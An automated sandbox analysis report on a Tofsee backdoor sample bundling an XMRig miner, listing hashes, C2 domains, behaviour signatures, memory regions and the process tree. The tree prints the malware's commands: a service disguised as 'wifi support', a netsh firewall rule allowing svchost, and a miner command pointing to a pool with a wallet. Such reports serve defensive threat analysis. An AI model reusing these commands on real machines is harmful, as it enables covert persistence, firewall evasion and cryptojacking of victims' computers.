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Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    10/01/2023, 04:55

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General

  • Target

    file.exe

  • Size

    327KB

  • MD5

    c9483aa293f692b9f6d8ba2967fd1c99

  • SHA1

    7100757b4e9d76237ecf7a570bb290232537816f

  • SHA256

    7130e94bd50596e8df99ee446b7629fb391e445f4ce5110522f8df810bad1595

  • SHA512

    bb55946c0cfb917e9bcd59717d003e5718bee0ace66d38191b9d9fde97cb181ff8ce139b2711dc8844b4e45883ebf578f7ec8ecdc359b84f90d676075bb5eac5

  • SSDEEP

    6144:vK07OTzkrbzCEBehsyuQs7dBA0XFsvOZJY:v9qabWhFuQqKmZ

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1356
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wwsavbiu\
      2⤵
        PID:884
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bvxfbvbu.exe" C:\Windows\SysWOW64\wwsavbiu\
        2⤵
          PID:1480
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wwsavbiu binPath= "C:\Windows\SysWOW64\wwsavbiu\bvxfbvbu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1700
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wwsavbiu "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1732
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wwsavbiu
          2⤵
          • Launches sc.exe
          PID:1340
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1684
      • C:\Windows\SysWOW64\wwsavbiu\bvxfbvbu.exe
        C:\Windows\SysWOW64\wwsavbiu\bvxfbvbu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1864
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:544
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:940

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\bvxfbvbu.exe
        Filesize

        11.4MB

        MD5

        69af5edb44064952d544c6a5f84b0ae6

        SHA1

        7edb8ea76abaaf202b45f271dc8047f655a73ec3

        SHA256

        8fb3365311581da9e895a453578a73347a8f6a4235b4ab1cdb31afac7485f68f

        SHA512

        f336db7bfbabcefc9903dcaf941dd1d1d3b80a1748adf7d9ca2c45723415a9c0307541f835f1e0760f9780d630154d1c3bd14200cea8ae2e7210f9b4e6abf27d

        Download Submit

      • C:\Windows\SysWOW64\wwsavbiu\bvxfbvbu.exe
        Filesize

        11.4MB

        MD5

        69af5edb44064952d544c6a5f84b0ae6

        SHA1

        7edb8ea76abaaf202b45f271dc8047f655a73ec3

        SHA256

        8fb3365311581da9e895a453578a73347a8f6a4235b4ab1cdb31afac7485f68f

        SHA512

        f336db7bfbabcefc9903dcaf941dd1d1d3b80a1748adf7d9ca2c45723415a9c0307541f835f1e0760f9780d630154d1c3bd14200cea8ae2e7210f9b4e6abf27d

        Download Submit

      • memory/544-83-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

        Download

      • memory/544-70-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/544-80-0x0000000001860000-0x0000000001A6F000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/544-107-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/544-95-0x0000000000250000-0x0000000000257000-memory.dmp

        Filesize

        28KB

        Download

      • memory/544-86-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/544-79-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/544-89-0x00000000000C0000-0x00000000000C5000-memory.dmp

        Filesize

        20KB

        Download

      • memory/544-72-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/544-92-0x0000000005430000-0x000000000583B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/940-98-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

        Download

      • memory/940-100-0x0000000000080000-0x0000000000171000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1356-56-0x00000000002C0000-0x00000000002D3000-memory.dmp

        Filesize

        76KB

        Download

      • memory/1356-54-0x00000000760A1000-0x00000000760A3000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1356-57-0x0000000000400000-0x0000000000458000-memory.dmp

        Filesize

        352KB

        Download

      • memory/1356-67-0x0000000000400000-0x0000000000458000-memory.dmp

        Filesize

        352KB

        Download

      • memory/1356-66-0x000000000050D000-0x0000000000523000-memory.dmp

        Filesize

        88KB

        Download

      • memory/1356-55-0x000000000050D000-0x0000000000523000-memory.dmp

        Filesize

        88KB

        Download

      • memory/1864-78-0x0000000000400000-0x0000000000458000-memory.dmp

        Filesize

        352KB

        Download

      • memory/1864-75-0x00000000005FD000-0x0000000000613000-memory.dmp

        Filesize

        88KB

        Download